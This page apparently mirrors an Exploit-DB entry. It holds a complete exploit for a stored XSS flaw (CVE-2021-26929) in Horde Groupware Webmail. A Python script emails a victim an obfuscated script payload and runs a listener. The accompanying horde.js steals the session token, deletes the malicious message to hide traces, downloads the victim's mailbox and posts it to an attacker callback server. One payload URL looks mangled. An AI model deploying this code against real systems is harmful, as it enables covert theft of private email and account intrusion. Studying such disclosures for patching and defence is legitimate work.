扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 |
# Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS # Author: Alex Birnberg # Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty # Date: 04.14.2021 # Vendor: https://www.horde.org/apps/webmail # Link: https://github.com/horde/webmail/releases # CVE: CVE-2021-26929 [+] Exploit Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929 [Exploit Program Code] #!/usr/bin/python3 # Author idea: Alex Birnberg # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging import smtplib import sqlite3 import hashlib import zipfile import argparse from flask import Flask, request, Response from urllib.parse import urlparse class Exploit: def __init__(self, args): # Database if not os.path.exists('database.db'): with sqlite3.connect("database.db") as conn: cursor = conn.cursor() cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);') conn.commit() # SMTP URL o = urlparse(args.smtp) self.smtp = { 'ssl': o.scheme.lower() == 'smtps', 'host': o.hostname or '127.0.0.1', 'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'), 'username': '' or o.username, 'password': '' or o.password } try: if self.smtp['ssl']: context = ssl.create_default_context() context.verify_mode = ssl.CERT_OPTIONAL context.check_hostname = False self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context) else: self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port']) except Exception as e: print(e) print('[-] Error connecting to SMTP server!') exit() try: self.server.login(self.smtp['username'], self.smtp['password']) except: pass # Callback URL o = urlparse(args.callback) self.callback = { 'url': '{}://{}'.format(o.scheme, o.netloc), 'path': ''.join(random.choice(string.ascii_letters) for i in range(20)) } # Listener URL o = urlparse(args.listener) self.listener = { 'ssl': o.scheme.lower() == 'https', 'host': o.hostname or '0.0.0.0', 'port': o.port or 80, 'horde': ''.join(random.choice(string.ascii_letters) for i in range(20)) } # Target email self.target = args.target # Subject self.subject = args.subject or 'Important Message' # Environment self.env = {} self.env['mailbox'] = args.mailbox or 'INBOX' self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path']) def trigger(self): print('[*] Waiting for emails...') self.bypass_auth() print('\n[*] Done') def bypass_auth(self): def horde(): f = open('horde.js') content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read()) f.close() return content def callback(): response = Response('') with sqlite3.connect("database.db") as conn: try: if request.files.get('mbox'): filename = request.files.get('mbox').filename.replace('zip', 'mbox') content = request.files.get('mbox').stream.read() zipdata = io.BytesIO() zipdata.write(content) content = zipfile.ZipFile(zipdata) content = content.open(filename).read() mail_hash =hashlib.sha1(content).digest().hex() print('[+] Received mailbox ({})'.format(mail_hash)) cursor = conn.cursor() cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content)) except: pass response.headers['Access-Control-Allow-Origin'] = '*' return response payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="https://www.exploit-db.com/exploits/49769/{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde']) payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1')) content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target) # The secret services :) content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1')) self.server.sendmail(self.smtp['username'], self.target, content) app = Flask(__name__) app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde) app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST']) logging.getLogger('werkzeug').setLevel(logging.ERROR) cli = sys.modules['flask.cli'] cli.show_server_banner = lambda *x: None try: if self.listener['ssl']: app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem')) else: app.run(host=self.listener['host'], port=self.listener['port']) except: pass if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL') parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL') parser.add_argument('--listener', help='Listener URL', metavar='URL') parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL') parser.add_argument('--subject', help='Email subject', metavar='SUBJECT') parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX') args = parser.parse_args() exploit = Exploit(args) exploit.trigger() horde.js class Exploit { constructor() { this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp')); } trigger() { this.mailbox = this.get_mailbox(); this.buid = this.get_buid(); this.token = this.get_token(); this.auto_delete() .then(() => { this.exfiltrate_emails({mailbox: env.mailbox}); }); } async auto_delete() { let params = new URLSearchParams() params.append('token', this.token); params.append('view', this.mailbox); params.append('buid', this.buid); return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', { method: 'POST', body: params }) .then(() => { let params = new URLSearchParams(); params.append('token', this.token); params.append('view', this.mailbox); return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', { method: 'POST', body: params }) .then(() => { if (document.getElementById('checkmaillink') !== null) { document.getElementById('checkmaillink').click(); } }); }); } async exfiltrate_emails(args) { let mbox_list = '["' + this.get_mailbox() + '"]'; if (args.mailbox.toUpperCase() != 'INBOX') { let params = new URLSearchParams(); params.append('reload', '1'); params.append('unsub', '1'); params.append('token', this.token); let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', { method: 'POST', body: params }) .then(response => { return response.text(); }) .then(data => { return JSON.parse(data.substring(10, data.length - 2)); }); mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => { if (mailbox.l.toUpperCase() == args.mailbox) { if (mbox_list === undefined) { mbox_list = '["' + mailbox.m + '"]'; } } }); } let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/') .then(response => { return [response.blob(), response.headers.get('Content-Disposition')]; }); let filename = zip[1]; filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1); zip = await zip[0]; let formData = new FormData(); formData.append('mbox', zip, filename); fetch(window.env.callback, { method: 'POST', body: formData }); } get_token() { let link; let token; if (document.getElementsByClassName('smartmobile-logout').length > 0) { link = document.getElementsByClassName('smartmobile-logout')[0].href; } else if (document.getElementById('horde-logout') !== null) { link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href; } else { link = location.href; } if (link.match('horde_logout_token=(.*)&') !== null) { token = link.match('horde_logout_token=(.*)&')[1]; } if (token === undefined && link.match('token=(.*)&') !== null) { token = link.match('token=(.*)&')[1]; } return token; } get_mailbox() { if (window.DimpBase !== undefined) { return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({ VP_id: { equal: [ DimpBase.pp.VP_id ] } }).get('dataob').first().VP_view; } else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) { return location.href.match('mailbox=([A-Za-z0-9]*)')[1]; } else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) { return location.href.match('mbox=([A-Za-z0-9]*)')[1]; } } get_buid() { if (location.href.match('buid=([0-9]*)') !== null) { return location.href.match('buid=([0-9]*)')[1]; } else if (location.href.match(';([0-9]*)') !== null) { return location.href.match(';([0-9]*)')[1]; } } } const exploit = new Exploit(); exploit.trigger(); |
体验盒子
